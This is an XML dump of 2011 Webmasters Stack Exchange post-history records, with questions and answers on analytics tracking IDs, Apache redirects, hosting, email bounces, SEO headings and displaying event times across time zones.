  <row Id="26010" PostHistoryTypeId="2" PostId="11486" RevisionGUID="f51e50ae-d46a-4993-a1f5-608ea3718d2e" CreationDate="2011-04-01T07:53:00.263" UserId="4306" Text="Those pages that are showing up as most accessed from the other website surely have the other profile ID somewhere on the page.&#xD;&#xA;&#xD;&#xA;1. View Source and search for any instances of 'UA-'&#xD;&#xA;2. Check that you aren't using any plugins or extensions that provide analytics that might have the wrong profile id&#xD;&#xA;3. Check you don't have any Flash widgets etc that might provide analytics separately (e.g. SWFAddress)&#xD;&#xA;&#xD;&#xA;If none of those work, post a link to your pages.  " />
  <row Id="26011" PostHistoryTypeId="2" PostId="11487" RevisionGUID="1912a3bf-831f-4939-9394-bb36ec83c52e" CreationDate="2011-04-01T08:12:12.477" UserId="2290" Text="this question is answered here http://stackoverflow.com/questions/3865020/is-it-good-idea-to-use-url-names-with-special-characters/3967220#3967220 " />
  <row Id="26012" PostHistoryTypeId="2" PostId="11488" RevisionGUID="93ad918a-368c-4d78-9a45-6161bb5cc7f4" CreationDate="2011-04-01T08:18:30.170" UserId="1643" Text="Within Amazon S3 you pay for the bandwidth and disk space that you use. With hostgator they say unlimited bandwidth and disk space, but if you read the [terms of service][1] they say they give you a monthly limit on bandwidth. So if you're exceeding your limit I would move your files to S3.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com/tos/tos.php" />
  <row Id="26013" PostHistoryTypeId="2" PostId="11489" RevisionGUID="9695acbe-8652-4ea5-9fcc-ea05b5e2b66f" CreationDate="2011-04-01T08:50:45.300" UserId="5026" Text="In quite a few content editors, I see code generated that includes attributes of the form&#xD;&#xA;&#xD;&#xA;    sourceindex=&#xD;&#xA;What is this attribute?" />
  <row Id="26014" PostHistoryTypeId="1" PostId="11489" RevisionGUID="9695acbe-8652-4ea5-9fcc-ea05b5e2b66f" CreationDate="2011-04-01T08:50:45.300" UserId="5026" Text="What is sourceindex" />
  <row Id="26015" PostHistoryTypeId="3" PostId="11489" RevisionGUID="9695acbe-8652-4ea5-9fcc-ea05b5e2b66f" CreationDate="2011-04-01T08:50:45.300" UserId="5026" Text="&lt;html&gt;" />
  <row Id="26016" PostHistoryTypeId="25" PostId="11485" RevisionGUID="df8f4680-3a20-427a-80a5-c8163dbb8842" CreationDate="2011-04-01T09:00:22.940" Comment="http://twitter.com/#!/StackWebmasters/status/53743497508945921" />
  <row Id="26017" PostHistoryTypeId="5" PostId="11432" RevisionGUID="7ec3be5f-613c-45dc-b04b-acc240e6f2f9" CreationDate="2011-04-01T09:24:50.077" UserId="6335" Comment="added 473 characters in body" Text="Does time, new content is added, makes sense for search engines ?&#xD;&#xA;&#xD;&#xA;For example - between 9:00 and 18:00, or at 23:00, or at 1:00 ?&#xD;&#xA;&#xD;&#xA;**Update 1:**&#xD;&#xA;&#xD;&#xA;I rephrase my question, to better reflect, what i mean:&#xD;&#xA;&#xD;&#xA;Does search engine makes an assumption about what the website is, based on time of day, new content is added. E.g. when new content is added between 9:00 and 18:00 - this is possible a corporation with fixed working time. When new content appears at random time of day, this is possible a person.&#xD;&#xA;&#xD;&#xA;Answering my own question, i think, such an differentiation is not useful. But, who knows ..." />
  <row Id="26018" PostHistoryTypeId="5" PostId="11373" RevisionGUID="d67517c1-b6c2-455b-ac42-b712746dd94f" CreationDate="2011-04-01T09:47:05.903" UserId="1064" Comment="Final example with a variety of methods" Text="Try converting your `mod_alias` redirects into `mod_rewrite` directives.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit:** Example below assumes that you have replaced old ASP files with PHP files under the same path.&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    # *.asp -&gt; *.php&#xD;&#xA;    RewriteRule (.*)\.asp$ /$1.php [R=301,L]&#xD;&#xA;    &#xD;&#xA;    # tracking script&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^(.*)$ /tracking.php?$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;... or you can skip the regular expression variable and set an explicit redirect for each of the old URI's:&#xD;&#xA;&#xD;&#xA;    RewriteRule about\.asp$ /about.php [R=301,L]&#xD;&#xA;    RewriteRule capabilities\.asp$ /capabilities.php [R=301,L]&#xD;&#xA;    RewriteRule capacitors\.asp$ /capacitors.php [R=301,L]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit #2:** Here is an example which should cover most of the situations you'll encounter:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    # Changes to path + Query String Append&#xD;&#xA;    RewriteRule ^/path/to/old\.asp$ /path/to/new/about.php [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    # *.asp -&gt; *.php + Query String Append&#xD;&#xA;    RewriteRule ^(.*)\.asp$ $1.php [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    # tracking script&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule ^(.*)$ /tracking.php?$1 [R=301,L]" />
  <row Id="26019" PostHistoryTypeId="2" PostId="11490" RevisionGUID="1c28cc02-4ed1-4893-b549-38035bab424a" CreationDate="2011-04-01T10:02:17.970" UserId="1064" Text="Judging from the [`sourceIndex` Property][1] page on the MSDN and the lack of any mention of `sourceIndex` at W3.org, I believe it is a proprietary Microsoft tag (and unlikely to be supported - or considered valid X/HTML - by non-Microsoft browsers).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/ms534635%28v=vs.85%29.aspx" />
  <row Id="26020" PostHistoryTypeId="2" PostId="11491" RevisionGUID="9ab93683-85ed-4e15-ad8c-97e739f06261" CreationDate="2011-04-01T10:46:59.633" UserId="3307" Text="No, they're probably not enough. You need to practice as well. I've heard good things about [thinkvitamin][1].&#xD;&#xA;&#xD;&#xA;Or just go out and buy a book.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thinkvitamin.com" />
  <row Id="26021" PostHistoryTypeId="2" PostId="11492" RevisionGUID="daa9bad6-fc96-477f-a78c-3af46f126128" CreationDate="2011-03-31T14:55:48.597" UserDisplayName="DannyMichel" Text="i have h2 and h5 headings with generic names here NSFW: http://wp.me/1dfs6 such as 'editor picks' 'tags' 'all articles' would it be better for seo to give them unique and almost playful names with keywords?" />
  <row Id="26022" PostHistoryTypeId="1" PostId="11492" RevisionGUID="daa9bad6-fc96-477f-a78c-3af46f126128" CreationDate="2011-03-31T14:55:48.597" UserDisplayName="DannyMichel" Text="SEO Heading Tags" />
  <row Id="26023" PostHistoryTypeId="3" PostId="11492" RevisionGUID="daa9bad6-fc96-477f-a78c-3af46f126128" CreationDate="2011-03-31T14:55:48.597" UserDisplayName="DannyMichel" Text="&lt;wordpress&gt;&lt;seo&gt;" />
  <row Id="26024" PostHistoryTypeId="17" PostId="11492" RevisionGUID="f40c6dfd-5740-4220-b866-f9102dd0ab32" CreationDate="2011-04-01T11:19:15.840" UserId="-1" Comment="from http://stackoverflow.com/questions/5501852/seo-heading-tags" Text="" />
  <row Id="26025" PostHistoryTypeId="2" PostId="11493" RevisionGUID="d2c8477e-51e5-46c5-97cf-b765c12b611b" CreationDate="2011-04-01T11:52:01.270" UserId="3146" Text="Basically, I set up a Google Apps for domain account for one of my clients but upon trying to upload a CSV of users, only half were created and then I kept getting time outs, 404's and other errors which I never saw when setting up another client.&#xD;&#xA;&#xD;&#xA;I was not sure how, but thought I may have messed something up so I thought it may be best to delete the domain and start from scratch.&#xD;&#xA;&#xD;&#xA;Little did I know, you had to wait to recreate the domain!&#xD;&#xA;&#xD;&#xA;As far as I can tell from what I have read, there is five days to delete and allow recreation of similar user names, however, I can't see anything that shows how long you have to wait for the domain account.&#xD;&#xA;&#xD;&#xA;It has now been 5/6 days and I can't recreate it.&#xD;&#xA;&#xD;&#xA;The cancellation email I got shows &quot;...If at any time you would like to sign-up for Google Apps for this or another domain, you can do so by visiting...&quot; But it does not mention how long!!!&#xD;&#xA;&#xD;&#xA;Does anyone know?" />
  <row Id="26026" PostHistoryTypeId="1" PostId="11493" RevisionGUID="d2c8477e-51e5-46c5-97cf-b765c12b611b" CreationDate="2011-04-01T11:52:01.270" UserId="3146" Text="How long does it take to delete a Google Apps for Domain account and allow recreation?" />
  <row Id="26027" PostHistoryTypeId="3" PostId="11493" RevisionGUID="d2c8477e-51e5-46c5-97cf-b765c12b611b" CreationDate="2011-04-01T11:52:01.270" UserId="3146" Text="&lt;google-apps&gt;" />
  <row Id="26028" PostHistoryTypeId="5" PostId="11493" RevisionGUID="4208c390-15ba-4141-962b-e76637729a2a" CreationDate="2011-04-01T11:57:03.747" UserId="3146" Comment="added 59 characters in body; added 54 characters in body" Text="Basically, I set up a Google Apps for domain account for one of my clients but upon trying to upload a CSV of users, only half were created and then I kept getting time outs, 404's and other errors which I never saw when setting up another client.&#xD;&#xA;&#xD;&#xA;I was not sure how, but thought I may have caused an error or there was an error Google Side when the account was created so I thought it may be best to delete the domain and start from scratch.&#xD;&#xA;&#xD;&#xA;Little did I know, you had to wait to recreate the domain!&#xD;&#xA;&#xD;&#xA;As far as I can tell from what I have read, there is five days to delete and allow recreation of similar user names, however, I can't see anything that shows how long you have to wait for the domain account.&#xD;&#xA;&#xD;&#xA;It has now been 5/6 days and I can't recreate it.&#xD;&#xA;&#xD;&#xA;The cancellation email I got shows &quot;...If at any time you would like to sign-up for Google Apps for this or another domain, you can do so by visiting...&quot; But it does not mention how long!!!&#xD;&#xA;&#xD;&#xA;I tried emailing Google directly but got no response. Does anyone know?" />
  <row Id="26030" PostHistoryTypeId="25" PostId="11482" RevisionGUID="9e64661f-07c4-4ded-b269-88dcf2a428d4" CreationDate="2011-04-01T12:00:22.997" Comment="http://twitter.com/#!/StackWebmasters/status/53788795862138881" />
  <row Id="26031" PostHistoryTypeId="18" PostId="11476" RevisionGUID="5cd97638-f614-47e7-b47e-3802c6c2b809" CreationDate="2011-04-01T12:00:37.430" UserId="1253" Comment="to http://webmasters.stackexchange.com/questions/11492/seo-heading-tags" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26032" PostHistoryTypeId="18" PostId="11481" RevisionGUID="5cd97638-f614-47e7-b47e-3802c6c2b809" CreationDate="2011-04-01T12:00:37.430" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/11476/seo-heading-tags" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26033" PostHistoryTypeId="18" PostId="11492" RevisionGUID="5cd97638-f614-47e7-b47e-3802c6c2b809" CreationDate="2011-04-01T12:00:37.430" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/11476/seo-heading-tags" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26034" PostHistoryTypeId="14" PostId="11476" RevisionGUID="fb6ea679-7248-4963-b9ce-6827de2bcaa9" CreationDate="2011-04-01T12:00:37.727" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26035" PostHistoryTypeId="6" PostId="8485" RevisionGUID="39785221-3106-4c22-861e-f3669f15e1bf" CreationDate="2011-04-01T12:01:41.923" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;php&gt;&lt;cms&gt;&lt;free&gt;&lt;looking-for-a-script&gt;" />
  <row Id="26036" PostHistoryTypeId="2" PostId="11495" RevisionGUID="66dcd39a-61ed-4440-98db-de6651186ae4" CreationDate="2011-04-01T12:12:50.733" UserId="6109" Text="The host of the site I'm working on tends to shut off email if a certain number of fails take place. Needless to say this is a bit of a pain even if it's justified to fight spam. Is there a way to test if an email address has failed once so it can be flagged?" />
  <row Id="26037" PostHistoryTypeId="1" PostId="11495" RevisionGUID="66dcd39a-61ed-4440-98db-de6651186ae4" CreationDate="2011-04-01T12:12:50.733" UserId="6109" Text="Checking if email addresses are valid" />
  <row Id="26038" PostHistoryTypeId="3" PostId="11495" RevisionGUID="66dcd39a-61ed-4440-98db-de6651186ae4" CreationDate="2011-04-01T12:12:50.733" UserId="6109" Text="&lt;email&gt;&lt;testing&gt;" />
  <row Id="26039" PostHistoryTypeId="2" PostId="11496" RevisionGUID="2572bae9-a946-4f2d-93ae-7491fa1643a5" CreationDate="2011-04-01T12:17:09.637" UserId="1253" Text="Send an email to the address. If it bounces back it is turned off. To check that programatically you'll need to pipe the any replies to a script that then parses the reply looking for the rejection message. Then log it in a database as being a bad address." />
  <row Id="26040" PostHistoryTypeId="2" PostId="11497" RevisionGUID="1f14063d-2ffc-4c0b-ade2-5caf6fd98573" CreationDate="2011-04-01T12:29:29.743" UserId="6493" Text="i currently developed a new website. the website is plain html. how can i host this website on my own computer. my computer  is always connected to the internet. so how can i host my website on my computer and give it a domain name which will be known to everyone outside using the internet?" />
  <row Id="26041" PostHistoryTypeId="1" PostId="11497" RevisionGUID="1f14063d-2ffc-4c0b-ade2-5caf6fd98573" CreationDate="2011-04-01T12:29:29.743" UserId="6493" Text="getting a domain name" />
  <row Id="26042" PostHistoryTypeId="3" PostId="11497" RevisionGUID="1f14063d-2ffc-4c0b-ade2-5caf6fd98573" CreationDate="2011-04-01T12:29:29.743" UserId="6493" Text="&lt;hosting&gt;&lt;web-hosting&gt;" />
  <row Id="26043" PostHistoryTypeId="2" PostId="11498" RevisionGUID="d1df50a5-14bd-42d7-a68e-e00566aebf33" CreationDate="2011-04-01T12:31:23.283" UserId="4011" Text="+1 For John Conde, but also you could think about switching to an host who won't penalize you for this kind of problem. I understand it is Ok to fight spam, but blocking an e-mail account for a paying customer may not be the best way to achieve this, there are tons of host who won't act like this, or you could think about getting a private mail server?" />
  <row Id="26044" PostHistoryTypeId="2" PostId="11499" RevisionGUID="e7e2152d-dca2-4308-bd9a-b6843494e0e3" CreationDate="2011-04-01T12:37:36.613" UserId="3146" Text="I would only recommend this if you are having low usage/visitors or a very fast internet connection.&#xD;&#xA;&#xD;&#xA;All you need to do is install a web server such as Apache or IIS and copy all the HTML files to the root directory of the webserver.&#xD;&#xA;&#xD;&#xA;Then, make sure you forward port 80 from your router to the machine.&#xD;&#xA;&#xD;&#xA;I wrote a bigger guide on Superuser. [Link][1].&#xD;&#xA;&#xD;&#xA;There are a few more steps involved, but I hope this puts you on the right track. This is not really a &quot;Pro Webmaster&quot; question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/243568/creating-a-server-of-a-windows-xp-computer/243575#243575" />
  <row Id="26045" PostHistoryTypeId="4" PostId="11497" RevisionGUID="7e5d33d7-8193-436f-b9dd-3d5a22627d99" CreationDate="2011-04-01T13:12:28.597" UserId="1253" Comment="Changed title to be more accurate, removed redundant &quot;hosting&quot; tag" Text="How Can I Host My Website On My Own Computer?" />
  <row Id="26046" PostHistoryTypeId="6" PostId="11497" RevisionGUID="7e5d33d7-8193-436f-b9dd-3d5a22627d99" CreationDate="2011-04-01T13:12:28.597" UserId="1253" Comment="Changed title to be more accurate, removed redundant &quot;hosting&quot; tag" Text="&lt;web-hosting&gt;" />
  <row Id="26048" PostHistoryTypeId="2" PostId="11500" RevisionGUID="c4d63511-d369-41b1-9bf8-718a3e055186" CreationDate="2011-04-01T13:58:52.893" UserId="4770" Text="A lot of sites send confirmation emails.  In the email it will have a code or a url that the user will use to activate their account.  Setting up your web app to do this isn't very difficult." />
  <row Id="26049" PostHistoryTypeId="4" PostId="11467" RevisionGUID="21614f35-fb56-4c3b-99a1-09ef2a46dde5" CreationDate="2011-04-01T14:02:53.640" UserId="5847" Comment="added more descriptive title " Text="Best CMS for Sports Club (Member Profiles, Team Lists, Win/Loss Board) - Drupal vs Joomla" />
  <row Id="26050" PostHistoryTypeId="24" PostId="11467" RevisionGUID="21614f35-fb56-4c3b-99a1-09ef2a46dde5" CreationDate="2011-04-01T14:02:53.640" Comment="Proposed by 5847 approved by -1 edit id of 91" />
  <row Id="26051" PostHistoryTypeId="4" PostId="11467" RevisionGUID="d113659c-ca94-4a1b-a64e-5eaea7ad2e17" CreationDate="2011-04-01T14:02:54.107" UserId="1253" Comment="edited title" Text="CMS for Sports Club (Member Profiles, Team Lists, Win/Loss Board) - Drupal vs Joomla" />
  <row Id="26052" PostHistoryTypeId="6" PostId="11406" RevisionGUID="0b44f57d-28ad-4b93-8c44-264c594658a9" CreationDate="2011-04-01T14:07:15.120" UserId="195" Comment="edited tags" Text="&lt;google&gt;&lt;html&gt;&lt;research&gt;" />
  <row Id="26053" PostHistoryTypeId="2" PostId="11501" RevisionGUID="a04bf350-2945-4dae-9812-1eb823db3d9a" CreationDate="2011-04-01T14:09:08.983" UserId="3310" Text="There is no excuse to do this when cheap and free hosts are available.&#xD;&#xA;&#xD;&#xA;Reliability issues and limitations of your OS aside, the cost of a host even when you pay is lower than the electricity your own pc will waste." />
  <row Id="26054" PostHistoryTypeId="25" PostId="11495" RevisionGUID="7448d181-03c0-496b-865f-14096cd97c34" CreationDate="2011-04-01T15:00:22.640" Comment="http://twitter.com/#!/StackWebmasters/status/53834093028319232" />
  <row Id="26055" PostHistoryTypeId="2" PostId="11502" RevisionGUID="aa4c86db-c9e5-403f-ad21-f34f13934e25" CreationDate="2011-04-01T15:00:24.587" UserId="5847" Text="Wow! Nice Site! I like the color scheme, layout, and all the eye candy :). Very tastefully done. I'd recommend: &#xD;&#xA;&#xD;&#xA;I'd recommend adding more descriptive keywords into your h1 and h2 lines such as:  &#xD;&#xA;&#xD;&#xA;- Tattoo Shops in New York City &#xD;&#xA;- Following New Ink Trends&#xD;&#xA;- Video: Photo Shoot with tatted up Sharon TK, Johannie &amp; Jess Versus&#xD;&#xA;-   Video: Photoshoot and Interview with NYC tattoo artist Athena Fatale&#xD;&#xA;-   Video: Our Interview and Photo Shoot with Sara Blake&#xD;&#xA;- All Articles&#xD;&#xA;-   NY Ink on TLC&#xD;&#xA;-   Tattoo Artist Jess Versus&#xD;&#xA;-   Dr. Lakra: Sex and Violence in SoHo&#xD;&#xA;-   Tattoo Artist Stefano Alcantara&#xD;&#xA;-   The Photographic Ink Art of l’un des nombreux&#xD;&#xA;-      Network&#xD;&#xA;-     Popular Tags" />
  <row Id="26056" PostHistoryTypeId="17" PostId="11504" RevisionGUID="3276f437-28e8-4d3e-b9ed-b009edfe2314" CreationDate="2011-04-01T15:07:43.607" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14022/what-is-the-proper-time-zone-to-display-times-for-events-online/14023#14023" Text="" />
  <row Id="26057" PostHistoryTypeId="17" PostId="11505" RevisionGUID="8b6c397c-bc86-45ff-ab80-84a84299e73c" CreationDate="2011-04-01T15:07:43.607" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14022/what-is-the-proper-time-zone-to-display-times-for-events-online/14046#14046" Text="" />
  <row Id="26058" PostHistoryTypeId="2" PostId="11504" RevisionGUID="28f57aac-7a80-43dd-98ee-b4dbd48fd968" CreationDate="2011-03-30T22:15:49.897" UserId="2495" Text="Here's the problem: the EU and the US do not turn DST on and off at the same time; this March, there was a three weeks' difference between these events.&#xD;&#xA;&#xD;&#xA;Here's what happens during this period. Let's say you have an event every day at the same time and, since you are based in the US, you are going to adjust times using the US DST.&#xD;&#xA;&#xD;&#xA;    Day (2001)   United States   Europe      United Kingdom   Global    Time delta&#xD;&#xA;    March 5th    EST 1500        CET  2100   GMT 2000         GMT 2000        +23h&#xD;&#xA;    March 6th    EDT 1500        CET  2000   GMT 1900         GMT 1900        +24h&#xD;&#xA;    March 7th    EDT 1500        CET  2000   GMT 1900         GMT 1900        +24h&#xD;&#xA;    ..............................................................................&#xD;&#xA;    March 26th   EDT 1500        CET  2000   GMT 1900         GMT 1900        +24h&#xD;&#xA;    March 27th   EDT 1500        CEST 2100   BST 2000         GMT 1900        +24h&#xD;&#xA;&#xD;&#xA;Let's analyze all possibilities:&#xD;&#xA;&#xD;&#xA;* If you display the time in a global timezone and call it **UTC**, which feels like the right thing to do, you're going to confuse your American customers, who are going to see different UTC times (yesterday 8pm, today 7pm) for the same wall clock time (yesterday 3pm, today 3pm again), and then your EU based customers, who _don't_ see the posted time clock change and yet must change their wall clock event time.&#xD;&#xA;&#xD;&#xA;* If you display the time in a global timezone and call it **GMT**, in addition to confusing US customers you'll also confuse UK customers who switch from GMT to BST. It is counterintuitive to understand that EDT 1500 and EST 1400 are the *same* moment in time; now translate that into BST/GMT (with the additional problem that you're not going to be showing BST times in any part of the site).&#xD;&#xA;&#xD;&#xA;* If you display the timezone in an EU timezone (I used **CET/CEST** to avoid GMT/UTC confusion), that's obviously going to be super confusing to your US customers, who see the event time switch back and forth twice and yet experience no wall clock time change themselves. While your US customers may be prepared to the first switch (after all they have to change their wall clocks on the same day), they'll be surprised by the latter.&#xD;&#xA;&#xD;&#xA;* If you display the timezone in the US timezone (like **EST/EDT**), you're going to have the exact situation explained above, but mirrored!&#xD;&#xA;&#xD;&#xA;This seems like an hopeless situation! Here's how I came to address it after four years of going through this rigmarole (twice a year, obviously): &quot;make up a timezone.&quot;&#xD;&#xA;&#xD;&#xA;I am in exactly the situation pictured above, so I made up &quot;NYT&quot; (New York Timezone) so that I could write &quot;1500 NYT&quot; to mean &quot;3pm in whatever timezone it is New York happens to be using.&quot;&#xD;&#xA;&#xD;&#xA;This has the advantage that, so long as the user knows that the DST waltzer is happening, he has a very simple way of converting back and forth to their own timezone: google &quot;[time in new york][1]&quot; to see what time it is in NY, then work it out from there. You can even get fancy and use geolocation-based services such as [time.is/15:00_in_New_York][2].&#xD;&#xA;&#xD;&#xA;&gt; Note that, while you _could_ use timezone abbreviation names in time.is, I urge you not to, for they are pretty confused about it all themselves: [EST has the same time as EDT][3]‽&#xD;&#xA;&#xD;&#xA;You can notify users about DST with some short blurb, linking to an appropriate time conversion webservice to help people out. Ideally all timestamps should have an option to be converted into local time.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;When all's said and done, you should realize I've been ignoring the elephant in the room all time long, and that's the &quot;countdown&quot; solution you have already implemented. There's nothing confusing about &quot;in 1 day 2 hours 45 minutes 47 seconds&quot; (and if you believe you don't need that much precision [you might want to think again][4]).&#xD;&#xA;&#xD;&#xA;Sure, in my experience I never had the luxury of anything that wasn't static text, so I had to handle the incredible mess pictured above (and that's only the *beginning* of it! How about the southern emisphere, that does DST backwards?), but for your use case it sounds like the solution with the least potential for confusion. You might get two threads a year asking about &quot;in 23 hours&quot; and &quot;in 25 hours&quot; events while it normally counts down from &quot;in 24 hours&quot;, but that's it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=time%20in%20new%20york&#xD;&#xA;  [2]: http://time.is/15:00_in_New_York&#xD;&#xA;  [3]: http://time.is/15:00_in_EST/EDT&#xD;&#xA;  [4]: http://meta.stackoverflow.com/questions/78269/chat-gets-confused-about-tomorrow" />
  <row Id="26059" PostHistoryTypeId="2" PostId="11505" RevisionGUID="71e1549e-dbc8-4c37-98e8-7bf9c85d0390" CreationDate="2011-03-31T13:25:28.643" UserDisplayName="TheCompWiz" Text="Honestly, this is one issue that is frequently seen when having a website used by multiple time-zones.  There is a long-list of ways to overcome the battle.  To summarize badp, there's a lot of contributing factors as-to how different timezones are processed.&#xD;&#xA;&#xD;&#xA;Most websites opt into one of two different solutions to address this problem:&#xD;&#xA;&#xD;&#xA;1) Store anything involving a date as UTC in the database... and allow a user-defined setting for users on your website to pick what timezone they're in... or do some geo-ip-lookup magic to find out where in the world they are and find the appropriate time-zone... and then every time you display the date... make sure to call whatever function needed for localization.  Nearly every programming language has some method for displaying dates using a specified timezone.  You would also have to do this in reverse for users inserting dates. (take local time &amp; convert back to UTC for DB storage)  This is probably the most common approach.  This would also save you a lot of time from trying to &quot;re-inventing the wheel&quot;.  As far as anonymous visitors go... you can either A) stick with EST/EDT (using built-in function calls for displaying as appropriate) or B) revert to the Geo-IP-Lookup thing &amp; pick a timezone based on an educated guess.  It's also a good idea to always specify the time-zone you're displaying the date/time in.  i.e. never say &quot;12:00&quot; ... make sure it says &quot;12:00 EDT&quot;&#xD;&#xA;&#xD;&#xA;or 2) Follow stackexchange's model (and many others) of displaying the difference between now &amp; when the post was created.  i.e. instead of &quot;posted on x date&quot; ... you would do &quot;x hours ago&quot; or &quot;x days x hours ago&quot; etc... or for future dates... &quot;in 6 days 14 hours...&quot;  This is quickly becoming more common for many situations... but isn't as ideal for calendar-type schedules.&#xD;&#xA;&#xD;&#xA;Of course... you can still adopt some kind of hybrid of the two... and you may need to even go one step further and store dates as utc... but also store a specific time-zone for an event.  Ultimately, the decision is yours." />
  <row Id="26060" PostHistoryTypeId="2" PostId="11503" RevisionGUID="da5d88d8-5a77-48ac-ab12-3d2d3594cc2c" CreationDate="2011-03-30T21:34:14.463" UserId="5420" Text="My website ([http://wethepixels.com][1]) has regularly user-scheduled events.  Right now we are using our timezone EDT (or EST) as the base timezone for all events on the site.  I feel like this is either 1) wrong, or 2) very confusing. Currently, we have users all over the US and Europe.&#xD;&#xA;&#xD;&#xA;Is the proper method to localize times based on the clients timezone? use UTC/GMT?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wethepixels.com" />
  <row Id="26061" PostHistoryTypeId="1" PostId="11503" RevisionGUID="da5d88d8-5a77-48ac-ab12-3d2d3594cc2c" CreationDate="2011-03-30T21:34:14.463" UserId="5420" Text="What is the proper time zone to display times for events online?" />
  <row Id="26062" PostHistoryTypeId="3" PostId="11503" RevisionGUID="da5d88d8-5a77-48ac-ab12-3d2d3594cc2c" CreationDate="2011-03-30T21:34:14.463" UserId="5420" Text="&lt;untagged&gt;" />
  <row Id="26063" PostHistoryTypeId="17" PostId="11503" RevisionGUID="8cd339d6-86d4-4063-a36f-e9796bf9d463" CreationDate="2011-04-01T15:07:43.607" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14022/what-is-the-proper-time-zone-to-display-times-for-events-online" Text="" />
  <row Id="26064" PostHistoryTypeId="2" PostId="11506" RevisionGUID="2bae659f-9640-4707-937a-0b598cdce806" CreationDate="2011-04-01T16:04:53.940" UserId="6494" Text="Review this (mt) Wiki article: http://wiki.mediatemple.net/w/%28dv%29:Cron&#xD;&#xA;&#xD;&#xA;If you're on a (dv) 4.0, in Plesk you'll navigate to Tools &amp; Utilities, then Scheduled Tasks. If you need more assistance, I recommend reaching out to the (mt) forums." />
  <row Id="26066" PostHistoryTypeId="2" PostId="11507" RevisionGUID="28b544e0-0812-4bad-9e67-2643eb83cbee" CreationDate="2011-04-01T17:23:32.360" UserId="2185" Text="My server people are blocking ip's which do a lot of requests including google bot. I found this by checking my webmastertools account. there it said network unreachable for all the urls which are indexed in google. Then i thought of reducing the rate of crawl. And i found that google will not alter the crawl rate and it is google who will determine and the users are allowed to alter the no of requests per time.&#xD;&#xA;&#xD;&#xA;Before some months/years i have seen the crawl rate had options like days, week and months but not it is different. How to set crawl rate for the above different criteria?" />
  <row Id="26067" PostHistoryTypeId="1" PostId="11507" RevisionGUID="28b544e0-0812-4bad-9e67-2643eb83cbee" CreationDate="2011-04-01T17:23:32.360" UserId="2185" Text="how to set crawl rate like the old option of webmastertools like 7days or a month" />
  <row Id="26068" PostHistoryTypeId="3" PostId="11507" RevisionGUID="28b544e0-0812-4bad-9e67-2643eb83cbee" CreationDate="2011-04-01T17:23:32.360" UserId="2185" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="26069" PostHistoryTypeId="2" PostId="11508" RevisionGUID="f3f93071-7653-479a-80c8-2b1fd21f7be7" CreationDate="2011-04-01T17:50:11.110" UserId="6373" Text="[TinyMCE][1] supports multiple languages with their language packs:&#xD;&#xA;http://tinymce.moxiecode.com/wiki.php/Language&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tinymce.moxiecode.com" />
  <row Id="26070" PostHistoryTypeId="2" PostId="11509" RevisionGUID="629f5600-4ca3-4f27-b409-d4964586ba1c" CreationDate="2011-04-01T17:50:43.220" UserId="6498" Text="I Have Problem Validate Fb Comment To Blogger Use HTML5&#xD;&#xA;Please Help me !!! Validated Page http://www.blog.nurulimam.info/2011/03/why-sites-deindexed-by-google-and-how.html" />
  <row Id="26071" PostHistoryTypeId="5" PostId="11509" RevisionGUID="0c0c4a40-023f-4e22-bb62-8c7a7ef859dd" CreationDate="2011-04-01T18:00:50.023" UserId="1253" Comment="removed url" Text="I Have Problem Validate Fb Comment To Blogger Use HTML5&#xD;&#xA;Please Help me !!! " />
  <row Id="26072" PostHistoryTypeId="25" PostId="11507" RevisionGUID="6e65a59e-8347-4876-8f5f-054a7191f2ac" CreationDate="2011-04-01T18:08:47.187" Comment="http://twitter.com/#!/StackWebmasters/status/53881506728390656" />
